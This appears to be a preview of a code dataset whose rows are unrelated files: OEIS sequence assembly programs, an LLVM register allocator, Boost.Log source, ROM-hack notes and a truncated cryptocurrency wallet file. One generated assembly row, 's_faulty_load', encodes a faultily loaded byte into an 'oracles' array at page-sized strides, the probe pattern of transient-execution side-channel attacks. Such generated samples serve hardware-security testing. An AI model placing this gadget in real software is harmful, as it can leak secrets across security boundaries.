text
stringlengths
1
1.05M
copyright zengfr site:http://github.com/zengfr/romhack 0032AA bra $32c8 0032BC move.w ($a,A6), D2 [1p+70, 1p+72, boss+70, boss+72, container+70, container+72, enemy+70, enemy+72, weapon+70, weapon+72] 00A2C6 dbra D0, $a2c0 copyright zengfr site:http://github.com/zengfr/romhack
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x7302, %rsi nop nop nop nop sub %r10, %r10 movb (%rsi), %bl nop nop nop nop xor %rcx, %rcx lea addresses_UC_ht+0x1e782, %rsi lea addresses_WC_ht+0x7b02, %rdi nop nop nop xor $29026, %r9 mov $127, %rcx rep movsb nop nop xor %rcx, %rcx lea addresses_A_ht+0x158aa, %r10 xor $47317, %r12 and $0xffffffffffffffc0, %r10 vmovntdqa (%r10), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rcx nop add $4839, %rcx lea addresses_D_ht+0x10db2, %rsi sub %rcx, %rcx and $0xffffffffffffffc0, %rsi movntdqa (%rsi), %xmm5 vpextrq $1, %xmm5, %rdi nop nop nop nop nop dec %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r8 push %r9 push %rax push %rdi // Faulty Load lea addresses_WC+0x1c302, %rdi add $55521, %r11 movups (%rdi), %xmm7 vpextrq $1, %xmm7, %r12 lea oracles, %r8 and $0xff, %r12 shlq $12, %r12 mov (%r8,%r12,1), %r12 pop %rdi pop %rax pop %r9 pop %r8 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}} {'00': 4714} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
#pragma once #include "main.h" #include "globals.hpp" #include "gif-pros/gifclass.hpp" #include "positionTracking.hpp" LV_IMG_DECLARE(destiny) // background image is a destiny 2 emblem LV_IMG_DECLARE(noAuton_IMG) LV_IMG_DECLARE(AWP) LV_IMG_DECLARE(leftAWP_IMG) LV_IMG_DECLARE(rightAWP_IMG) LV_IMG_DECLARE(middleGoal_IMG) LV_IMG_DECLARE(twoGoal_IMG) LV_IMG_DECLARE(skills_IMG) class Display{ public: Display(); void cleanUp(); static void start(void* ignore); void run(); void stop(); // Macros From 7K - Tower Takeover lv_obj_t * createLabel(int x, int y, std::string text, lv_obj_t * parent); lv_obj_t * createButton(int id, int x, int y, int width, int height, std::string text, lv_obj_t * parent, lv_action_t action, lv_style_t * btn_pr = nullptr, lv_style_t * btn_rel = nullptr); private: static PositionTracker * robot; static bool isRunning, isInitalized; static int currScr; lv_obj_t * tab1; lv_obj_t * tab2; lv_obj_t * tab3; void tabAuton(lv_obj_t * parent); void tabDebug(lv_obj_t * parent); void tabSettings(lv_obj_t * parent); static lv_res_t btn_click_action(lv_obj_t *btn); };
; A123865: a(n) = n^4 - 1. ; 0,15,80,255,624,1295,2400,4095,6560,9999,14640,20735,28560,38415,50624,65535,83520,104975,130320,159999,194480,234255,279840,331775,390624,456975,531440,614655,707280,809999,923520,1048575,1185920,1336335,1500624,1679615,1874160,2085135,2313440,2559999,2825760,3111695,3418800,3748095,4100624,4477455,4879680,5308415,5764800,6249999,6765200,7311615,7890480,8503055,9150624,9834495,10556000,11316495,12117360,12959999,13845840,14776335,15752960,16777215,17850624,18974735,20151120,21381375,22667120,24009999,25411680,26873855,28398240,29986575,31640624,33362175,35153040,37015055,38950080,40959999,43046720,45212175,47458320,49787135,52200624,54700815,57289760,59969535,62742240,65609999,68574960,71639295,74805200,78074895,81450624,84934655,88529280,92236815,96059600,99999999 add $0,1 pow $0,4 sub $0,1
; A267815: Binary representation of the n-th iteration of the "Rule 221" elementary cellular automaton starting with a single ON (black) cell. ; 1,11,10111,1101111,111011111,11110111111,1111101111111,111111011111111,11111110111111111,1111111101111111111,111111111011111111111,11111111110111111111111,1111111111101111111111111,111111111111011111111111111,11111111111110111111111111111,1111111111111101111111111111111,111111111111111011111111111111111,11111111111111110111111111111111111 seq $0,269911 ; Number of active (ON,black) cells at stage 2^n-1 of the two-dimensional cellular automaton defined by "Rule 3", based on the 5-celled von Neumann neighborhood. seq $0,204093 ; Numbers whose set of base-10 digits is {0,6}. div $0,60 add $0,1
//===-- RegAllocSimple.cpp - A simple generic register allocator ----------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file implements a simple register allocator. *Very* simple: It immediate // spills every value right after it is computed, and it reloads all used // operands from the spill area to temporary registers before each instruction. // It does not keep values in registers across instructions. // //===----------------------------------------------------------------------===// #define DEBUG_TYPE "regalloc" #include "llvm/CodeGen/Passes.h" #include "llvm/CodeGen/MachineFunctionPass.h" #include "llvm/CodeGen/MachineInstr.h" #include "llvm/CodeGen/MachineFrameInfo.h" #include "llvm/CodeGen/MachineRegisterInfo.h" #include "llvm/CodeGen/RegAllocRegistry.h" #include "llvm/Target/TargetInstrInfo.h" #include "llvm/Target/TargetMachine.h" #include "llvm/Support/Debug.h" #include "llvm/Support/Compiler.h" #include "llvm/ADT/Statistic.h" #include "llvm/ADT/STLExtras.h" #include <map> using namespace llvm; STATISTIC(NumStores, "Number of stores added"); STATISTIC(NumLoads , "Number of loads added"); namespace { static RegisterRegAlloc simpleRegAlloc("simple", " simple register allocator", createSimpleRegisterAllocator); class VISIBILITY_HIDDEN RegAllocSimple : public MachineFunctionPass { public: static char ID; RegAllocSimple() : MachineFunctionPass((intptr_t)&ID) {} private: MachineFunction *MF; const TargetMachine *TM; const TargetRegisterInfo *TRI; // StackSlotForVirtReg - Maps SSA Regs => frame index on the stack where // these values are spilled std::map<unsigned, int> StackSlotForVirtReg; // RegsUsed - Keep track of what registers are currently in use. This is a // bitset. std::vector<bool> RegsUsed; // RegClassIdx - Maps RegClass => which index we can take a register // from. Since this is a simple register allocator, when we need a register // of a certain class, we just take the next available one. std::map<const TargetRegisterClass*, unsigned> RegClassIdx; public: virtual const char *getPassName() const { return "Simple Register Allocator"; } /// runOnMachineFunction - Register allocate the whole function bool runOnMachineFunction(MachineFunction &Fn); virtual void getAnalysisUsage(AnalysisUsage &AU) const { AU.addRequiredID(PHIEliminationID); // Eliminate PHI nodes MachineFunctionPass::getAnalysisUsage(AU); } private: /// AllocateBasicBlock - Register allocate the specified basic block. void AllocateBasicBlock(MachineBasicBlock &MBB); /// getStackSpaceFor - This returns the offset of the specified virtual /// register on the stack, allocating space if necessary. int getStackSpaceFor(unsigned VirtReg, const TargetRegisterClass *RC); /// Given a virtual register, return a compatible physical register that is /// currently unused. /// /// Side effect: marks that register as being used until manually cleared /// unsigned getFreeReg(unsigned virtualReg); /// Moves value from memory into that register unsigned reloadVirtReg(MachineBasicBlock &MBB, MachineBasicBlock::iterator I, unsigned VirtReg); /// Saves reg value on the stack (maps virtual register to stack value) void spillVirtReg(MachineBasicBlock &MBB, MachineBasicBlock::iterator I, unsigned VirtReg, unsigned PhysReg); }; char RegAllocSimple::ID = 0; } /// getStackSpaceFor - This allocates space for the specified virtual /// register to be held on the stack. int RegAllocSimple::getStackSpaceFor(unsigned VirtReg, const TargetRegisterClass *RC) { // Find the location VirtReg would belong... std::map<unsigned, int>::iterator I = StackSlotForVirtReg.lower_bound(VirtReg); if (I != StackSlotForVirtReg.end() && I->first == VirtReg) return I->second; // Already has space allocated? // Allocate a new stack object for this spill location... int FrameIdx = MF->getFrameInfo()->CreateStackObject(RC->getSize(), RC->getAlignment()); // Assign the slot... StackSlotForVirtReg.insert(I, std::make_pair(VirtReg, FrameIdx)); return FrameIdx; } unsigned RegAllocSimple::getFreeReg(unsigned virtualReg) { const TargetRegisterClass* RC = MF->getRegInfo().getRegClass(virtualReg); TargetRegisterClass::iterator RI = RC->allocation_order_begin(*MF); TargetRegisterClass::iterator RE = RC->allocation_order_end(*MF); while (1) { unsigned regIdx = RegClassIdx[RC]++; assert(RI+regIdx != RE && "Not enough registers!"); unsigned PhysReg = *(RI+regIdx); if (!RegsUsed[PhysReg]) { MF->getRegInfo().setPhysRegUsed(PhysReg); return PhysReg; } } } unsigned RegAllocSimple::reloadVirtReg(MachineBasicBlock &MBB, MachineBasicBlock::iterator I, unsigned VirtReg) { const TargetRegisterClass* RC = MF->getRegInfo().getRegClass(VirtReg); int FrameIdx = getStackSpaceFor(VirtReg, RC); unsigned PhysReg = getFreeReg(VirtReg); // Add move instruction(s) ++NumLoads; const TargetInstrInfo* TII = MBB.getParent()->getTarget().getInstrInfo(); TII->loadRegFromStackSlot(MBB, I, PhysReg, FrameIdx, RC); return PhysReg; } void RegAllocSimple::spillVirtReg(MachineBasicBlock &MBB, MachineBasicBlock::iterator I, unsigned VirtReg, unsigned PhysReg) { const TargetRegisterClass* RC = MF->getRegInfo().getRegClass(VirtReg); const TargetInstrInfo* TII = MBB.getParent()->getTarget().getInstrInfo(); int FrameIdx = getStackSpaceFor(VirtReg, RC); // Add move instruction(s) ++NumStores; TII->storeRegToStackSlot(MBB, I, PhysReg, true, FrameIdx, RC); } void RegAllocSimple::AllocateBasicBlock(MachineBasicBlock &MBB) { // loop over each instruction for (MachineBasicBlock::iterator MI = MBB.begin(); MI != MBB.end(); ++MI) { // Made to combat the incorrect allocation of r2 = add r1, r1 std::map<unsigned, unsigned> Virt2PhysRegMap; RegsUsed.resize(TRI->getNumRegs()); // This is a preliminary pass that will invalidate any registers that are // used by the instruction (including implicit uses). const TargetInstrDesc &Desc = MI->getDesc(); const unsigned *Regs; if (Desc.ImplicitUses) { for (Regs = Desc.ImplicitUses; *Regs; ++Regs) RegsUsed[*Regs] = true; } if (Desc.ImplicitDefs) { for (Regs = Desc.ImplicitDefs; *Regs; ++Regs) { RegsUsed[*Regs] = true; MF->getRegInfo().setPhysRegUsed(*Regs); } } // Loop over uses, move from memory into registers. for (int i = MI->getNumOperands() - 1; i >= 0; --i) { MachineOperand &op = MI->getOperand(i); if (op.isRegister() && op.getReg() && TargetRegisterInfo::isVirtualRegister(op.getReg())) { unsigned virtualReg = (unsigned) op.getReg(); DOUT << "op: " << op << "\n"; DOUT << "\t inst[" << i << "]: "; DEBUG(MI->print(*cerr.stream(), TM)); // make sure the same virtual register maps to the same physical // register in any given instruction unsigned physReg = Virt2PhysRegMap[virtualReg]; if (physReg == 0) { if (op.isDef()) { int TiedOp = Desc.findTiedToSrcOperand(i); if (TiedOp == -1) { physReg = getFreeReg(virtualReg); } else { // must be same register number as the source operand that is // tied to. This maps a = b + c into b = b + c, and saves b into // a's spot. assert(MI->getOperand(TiedOp).isRegister() && MI->getOperand(TiedOp).getReg() && MI->getOperand(TiedOp).isUse() && "Two address instruction invalid!"); physReg = MI->getOperand(TiedOp).getReg(); } spillVirtReg(MBB, next(MI), virtualReg, physReg); } else { physReg = reloadVirtReg(MBB, MI, virtualReg); Virt2PhysRegMap[virtualReg] = physReg; } } MI->getOperand(i).setReg(physReg); DOUT << "virt: " << virtualReg << ", phys: " << op.getReg() << "\n"; } } RegClassIdx.clear(); RegsUsed.clear(); } } /// runOnMachineFunction - Register allocate the whole function /// bool RegAllocSimple::runOnMachineFunction(MachineFunction &Fn) { DOUT << "Machine Function\n"; MF = &Fn; TM = &MF->getTarget(); TRI = TM->getRegisterInfo(); // Loop over all of the basic blocks, eliminating virtual register references for (MachineFunction::iterator MBB = Fn.begin(), MBBe = Fn.end(); MBB != MBBe; ++MBB) AllocateBasicBlock(*MBB); StackSlotForVirtReg.clear(); return true; } FunctionPass *llvm::createSimpleRegisterAllocator() { return new RegAllocSimple(); }
add mov sub imul idiv int inc dec sti cli push pop pusha popa ret cmp jmp je/jne/jg/jge/jl/jle/ja/jae/jb/jbe in out
/* * Copyright Andrey Semashev 2007 - 2015. * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE_1_0.txt or copy at * http://www.boost.org/LICENSE_1_0.txt) */ /*! * \file named_scope.cpp * \author Andrey Semashev * \date 24.06.2007 * * \brief This header is the Boost.Log library implementation, see the library documentation * at http://www.boost.org/doc/libs/release/libs/log/doc/html/index.html. */ #include <boost/log/detail/config.hpp> #include <utility> #include <algorithm> #include <boost/type_index.hpp> #include <boost/optional/optional.hpp> #include <boost/log/attributes/attribute.hpp> #include <boost/log/attributes/attribute_value.hpp> #include <boost/log/attributes/named_scope.hpp> #include <boost/log/utility/type_dispatch/type_dispatcher.hpp> #include <boost/log/detail/singleton.hpp> #if !defined(BOOST_LOG_NO_THREADS) #include <boost/thread/tss.hpp> #endif #include "unique_ptr.hpp" #include <boost/log/detail/header.hpp> namespace boost { BOOST_LOG_OPEN_NAMESPACE namespace attributes { BOOST_LOG_ANONYMOUS_NAMESPACE { //! Actual implementation of the named scope list class writeable_named_scope_list : public named_scope_list { //! Base type typedef named_scope_list base_type; public: //! Const reference type typedef base_type::const_reference const_reference; public: //! The method pushes the scope to the back of the list BOOST_FORCEINLINE void push_back(const_reference entry) BOOST_NOEXCEPT { aux::named_scope_list_node* top = this->m_RootNode._m_pPrev; entry._m_pPrev = top; entry._m_pNext = &this->m_RootNode; BOOST_LOG_ASSUME(&entry != 0); this->m_RootNode._m_pPrev = top->_m_pNext = const_cast< aux::named_scope_list_node* >( static_cast< const aux::named_scope_list_node* >(&entry)); ++this->m_Size; } //! The method removes the top scope entry from the list BOOST_FORCEINLINE void pop_back() BOOST_NOEXCEPT { aux::named_scope_list_node* top = this->m_RootNode._m_pPrev; top->_m_pPrev->_m_pNext = top->_m_pNext; top->_m_pNext->_m_pPrev = top->_m_pPrev; --this->m_Size; } }; //! Named scope attribute value class named_scope_value : public attribute_value::impl { //! Scope names stack typedef named_scope_list scope_stack; //! Pointer to the actual scope value scope_stack* m_pValue; //! A thread-independent value optional< scope_stack > m_DetachedValue; public: //! Constructor explicit named_scope_value(scope_stack* p) : m_pValue(p) {} //! The method dispatches the value to the given object. It returns true if the //! object was capable to consume the real attribute value type and false otherwise. bool dispatch(type_dispatcher& dispatcher) { type_dispatcher::callback< scope_stack > callback = dispatcher.get_callback< scope_stack >(); if (callback) { callback(*m_pValue); return true; } else return false; } /*! * \return The attribute value type */ typeindex::type_index get_type() const { return typeindex::type_id< scope_stack >(); } //! The method is called when the attribute value is passed to another thread (e.g. //! in case of asynchronous logging). The value should ensure it properly owns all thread-specific data. intrusive_ptr< attribute_value::impl > detach_from_thread() { if (!m_DetachedValue) { m_DetachedValue = *m_pValue; m_pValue = m_DetachedValue.get_ptr(); } return this; } }; } // namespace //! Named scope attribute implementation struct BOOST_SYMBOL_VISIBLE named_scope::impl : public attribute::impl, public log::aux::singleton< impl, intrusive_ptr< impl > > { //! Singleton base type typedef log::aux::singleton< impl, intrusive_ptr< impl > > singleton_base_type; //! Writable scope list type typedef writeable_named_scope_list scope_list; #if !defined(BOOST_LOG_NO_THREADS) //! Pointer to the thread-specific scope stack thread_specific_ptr< scope_list > pScopes; #if defined(BOOST_LOG_USE_COMPILER_TLS) //! Cached pointer to the thread-specific scope stack static BOOST_LOG_TLS scope_list* pScopesCache; #endif #else //! Pointer to the scope stack log::aux::unique_ptr< scope_list > pScopes; #endif //! The method returns current thread scope stack scope_list& get_scope_list() { #if defined(BOOST_LOG_USE_COMPILER_TLS) scope_list* p = pScopesCache; #else scope_list* p = pScopes.get(); #endif if (!p) { log::aux::unique_ptr< scope_list > pNew(new scope_list()); pScopes.reset(pNew.get()); #if defined(BOOST_LOG_USE_COMPILER_TLS) pScopesCache = p = pNew.release(); #else p = pNew.release(); #endif } return *p; } //! Instance initializer static void init_instance() { singleton_base_type::get_instance().reset(new impl()); } //! The method returns the actual attribute value. It must not return NULL. attribute_value get_value() { return attribute_value(new named_scope_value(&get_scope_list())); } private: impl() {} }; #if defined(BOOST_LOG_USE_COMPILER_TLS) //! Cached pointer to the thread-specific scope stack BOOST_LOG_TLS named_scope::impl::scope_list* named_scope::impl::pScopesCache = NULL; #endif // defined(BOOST_LOG_USE_COMPILER_TLS) //! Copy constructor BOOST_LOG_API named_scope_list::named_scope_list(named_scope_list const& that) : allocator_type(static_cast< allocator_type const& >(that)), m_Size(that.size()), m_fNeedToDeallocate(!that.empty()) { if (m_Size > 0) { // Copy the container contents pointer p = allocator_type::allocate(that.size()); aux::named_scope_list_node* prev = &m_RootNode; for (const_iterator src = that.begin(), end = that.end(); src != end; ++src, ++p) { allocator_type::construct(p, *src); // won't throw p->_m_pPrev = prev; prev->_m_pNext = p; prev = p; } m_RootNode._m_pPrev = prev; prev->_m_pNext = &m_RootNode; } } //! Destructor BOOST_LOG_API named_scope_list::~named_scope_list() { if (m_fNeedToDeallocate) { iterator it(m_RootNode._m_pNext); iterator end(&m_RootNode); while (it != end) allocator_type::destroy(&*(it++)); allocator_type::deallocate(static_cast< pointer >(m_RootNode._m_pNext), m_Size); } } //! Swaps two instances of the container BOOST_LOG_API void named_scope_list::swap(named_scope_list& that) { if (!this->empty()) { if (!that.empty()) { // both containers are not empty std::swap(m_RootNode._m_pNext->_m_pPrev, that.m_RootNode._m_pNext->_m_pPrev); std::swap(m_RootNode._m_pPrev->_m_pNext, that.m_RootNode._m_pPrev->_m_pNext); std::swap(m_RootNode, that.m_RootNode); std::swap(m_Size, that.m_Size); std::swap(m_fNeedToDeallocate, that.m_fNeedToDeallocate); } else { // this is not empty m_RootNode._m_pNext->_m_pPrev = m_RootNode._m_pPrev->_m_pNext = &that.m_RootNode; that.m_RootNode = m_RootNode; m_RootNode._m_pNext = m_RootNode._m_pPrev = &m_RootNode; std::swap(m_Size, that.m_Size); std::swap(m_fNeedToDeallocate, that.m_fNeedToDeallocate); } } else if (!that.empty()) { // that is not empty that.m_RootNode._m_pNext->_m_pPrev = that.m_RootNode._m_pPrev->_m_pNext = &m_RootNode; m_RootNode = that.m_RootNode; that.m_RootNode._m_pNext = that.m_RootNode._m_pPrev = &that.m_RootNode; std::swap(m_Size, that.m_Size); std::swap(m_fNeedToDeallocate, that.m_fNeedToDeallocate); } } //! Constructor named_scope::named_scope() : attribute(impl::instance) { } //! Constructor for casting support named_scope::named_scope(cast_source const& source) : attribute(source.as< impl >()) { } //! The method pushes the scope to the stack void named_scope::push_scope(scope_entry const& entry) BOOST_NOEXCEPT { impl::scope_list& s = impl::instance->get_scope_list(); s.push_back(entry); } //! The method pops the top scope void named_scope::pop_scope() BOOST_NOEXCEPT { impl::scope_list& s = impl::instance->get_scope_list(); s.pop_back(); } //! Returns the current thread's scope stack named_scope::value_type const& named_scope::get_scopes() { return impl::instance->get_scope_list(); } } // namespace attributes BOOST_LOG_CLOSE_NAMESPACE // namespace log } // namespace boost #include <boost/log/detail/footer.hpp>
; A227546: n! + n^2 + 1. ; 2,3,7,16,41,146,757,5090,40385,362962,3628901,39916922,479001745,6227020970,87178291397,1307674368226,20922789888257,355687428096290,6402373705728325,121645100408832362,2432902008176640401,51090942171709440442,1124000727777607680485,25852016738884976640530,620448401733239439360577,15511210043330985984000626,403291461126605635584000677,10888869450418352160768000730,304888344611713860501504000785,8841761993739701954543616000842,265252859812191058636308480000901,8222838654177922817725562880000962,263130836933693530167218012160001025 mov $1,$0 seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). pow $1,2 add $0,$1 add $0,1
.CODE GetRSPValue PROC mov rax, rsp add rax, 8 ret GetRSPValue ENDP END
; A076740: a(0)=0, a(1)=1, a(n)=2*a(n-1)^2-a(n-2)^2. ; Submitted by Christian Krause ; 0,1,2,7,94,17623,621131422,771608486480914039,1190759312818733806192492198418844958,2835815482129086304432303489823255992516794878843873643408264712776750007 lpb $0 sub $0,1 pow $2,2 sub $2,$1 add $1,$2 add $1,1 add $2,$1 lpe mov $0,$2
UnusedNames:: db "ใ‹ใฟใชใ‚Šใƒใƒƒใƒ‚@" db "ใ‹ใ„ใŒใ‚‰ใƒใƒƒใƒ‚@" db "ใŠใ˜ใžใ†ใƒใƒƒใƒ‚@" db "ใฏใ‚„ใถใ•ใƒใƒƒใƒ‚@" db "ใฒใ‚“ใ‚„ใ‚Šใƒใƒƒใƒ‚@" db "ใชใ‹ใ‚ˆใ—ใƒใƒƒใƒ‚@" db "ใƒใƒฉใƒใƒƒใƒ‚@" db "ใฒใฎใŸใพใƒใƒƒใƒ‚@" db "ใ‚ดใƒผใƒซใƒ‰ใƒใƒƒใƒ‚@" db "ใŸใพใ”@" db "ใฒใ‚ˆใ“@" db "ใƒ–ใƒญใƒณใ‚บ@" db "ใ‚ทใƒซใƒใƒผ@" db "ใ‚ดใƒผใƒซใƒ‰@" db "ใƒ—ใƒใ‚ญใƒฃใƒ—ใƒ†ใƒณ@" db "ใ‚ญใƒฃใƒ—ใƒ†ใƒณ@" db "ใƒ—ใƒใƒžใ‚นใ‚ฟใƒผ@" db "ใƒžใ‚นใ‚ฟใƒผ@" db "ใ‚จใ‚ฏใ‚ปใƒฌใƒณใƒˆ"
; A176893: a(n) = 2^(number of zeros in binary expansion of n) * 3^(numbers of ones in binary expansion of n). ; Submitted by Jon Maiga ; 2,3,6,9,12,18,18,27,24,36,36,54,36,54,54,81,48,72,72,108,72,108,108,162,72,108,108,162,108,162,162,243,96,144,144,216,144,216,216,324,144,216,216,324,216,324,324,486,144,216,216 mov $1,1 lpb $0 mov $2,$0 div $0,2 sub $2,1 gcd $2,2 add $2,1 mul $1,$2 lpe max $1,2 mov $0,$1
// Copyright (c) 2011-2015 The Bitcoin Core developers // Copyright (c) 2014-2017 The Dash and Syscoin Core developers // Copyright (c) 2018-2020 The Billiecoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "transactionrecord.h" #include "base58.h" #include "consensus/consensus.h" #include "validation.h" #include "timedata.h" #include "wallet/wallet.h" #include "instantx.h" #include "privatesend.h" #include <stdint.h> #include <boost/foreach.hpp> /* Return positive answer if transaction should be shown in list. */ bool TransactionRecord::showTransaction(const CWalletTx &wtx) { if (wtx.IsCoinBase()) { // Ensures we show generated coins / mined transactions at depth 1 if (!wtx.IsInMainChain()) { return false; } } return true; } /* * Decompose CWallet transaction to model transaction records. */ QList<TransactionRecord> TransactionRecord::decomposeTransaction(const CWallet *wallet, const CWalletTx &wtx) { QList<TransactionRecord> parts; int64_t nTime = wtx.GetTxTime(); CAmount nCredit = wtx.GetCredit(ISMINE_ALL); CAmount nDebit = wtx.GetDebit(ISMINE_ALL); CAmount nNet = nCredit - nDebit; uint256 hash = wtx.GetHash(); std::map<std::string, std::string> mapValue = wtx.mapValue; if (nNet > 0 || wtx.IsCoinBase()) { // // Credit // for(unsigned int i = 0; i < wtx.tx->vout.size(); i++) { const CTxOut& txout = wtx.tx->vout[i]; isminetype mine = wallet->IsMine(txout); if(mine) { TransactionRecord sub(hash, nTime); CTxDestination address; sub.idx = i; // vout index sub.credit = txout.nValue; sub.involvesWatchAddress = mine & ISMINE_WATCH_ONLY; if (ExtractDestination(txout.scriptPubKey, address) && IsMine(*wallet, address)) { // Received by Billiecoin Address sub.type = TransactionRecord::RecvWithAddress; sub.address = CBilliecoinAddress(address).ToString(); } else { // Received by IP connection (deprecated features), or a multisignature or other non-simple transaction sub.type = TransactionRecord::RecvFromOther; sub.address = mapValue["from"]; } if (wtx.IsCoinBase()) { // Generated sub.type = TransactionRecord::Generated; } parts.append(sub); } } } else { bool fAllFromMeDenom = true; int nFromMe = 0; bool involvesWatchAddress = false; isminetype fAllFromMe = ISMINE_SPENDABLE; BOOST_FOREACH(const CTxIn& txin, wtx.tx->vin) { if(wallet->IsMine(txin)) { fAllFromMeDenom = fAllFromMeDenom && wallet->IsDenominated(txin.prevout); nFromMe++; } isminetype mine = wallet->IsMine(txin); if(mine & ISMINE_WATCH_ONLY) involvesWatchAddress = true; if(fAllFromMe > mine) fAllFromMe = mine; } isminetype fAllToMe = ISMINE_SPENDABLE; bool fAllToMeDenom = true; int nToMe = 0; BOOST_FOREACH(const CTxOut& txout, wtx.tx->vout) { if(wallet->IsMine(txout)) { fAllToMeDenom = fAllToMeDenom && CPrivateSend::IsDenominatedAmount(txout.nValue); nToMe++; } isminetype mine = wallet->IsMine(txout); if(mine & ISMINE_WATCH_ONLY) involvesWatchAddress = true; if(fAllToMe > mine) fAllToMe = mine; } if(fAllFromMeDenom && fAllToMeDenom && nFromMe * nToMe) { parts.append(TransactionRecord(hash, nTime, TransactionRecord::PrivateSendDenominate, "", -nDebit, nCredit)); parts.last().involvesWatchAddress = false; // maybe pass to TransactionRecord as constructor argument } else if (fAllFromMe && fAllToMe) { // Payment to self // TODO: this section still not accurate but covers most cases, // might need some additional work however TransactionRecord sub(hash, nTime); // Payment to self by default sub.type = TransactionRecord::SendToSelf; sub.address = ""; if(mapValue["DS"] == "1") { sub.type = TransactionRecord::PrivateSend; CTxDestination address; if (ExtractDestination(wtx.tx->vout[0].scriptPubKey, address)) { // Sent to Billiecoin Address sub.address = CBilliecoinAddress(address).ToString(); } else { 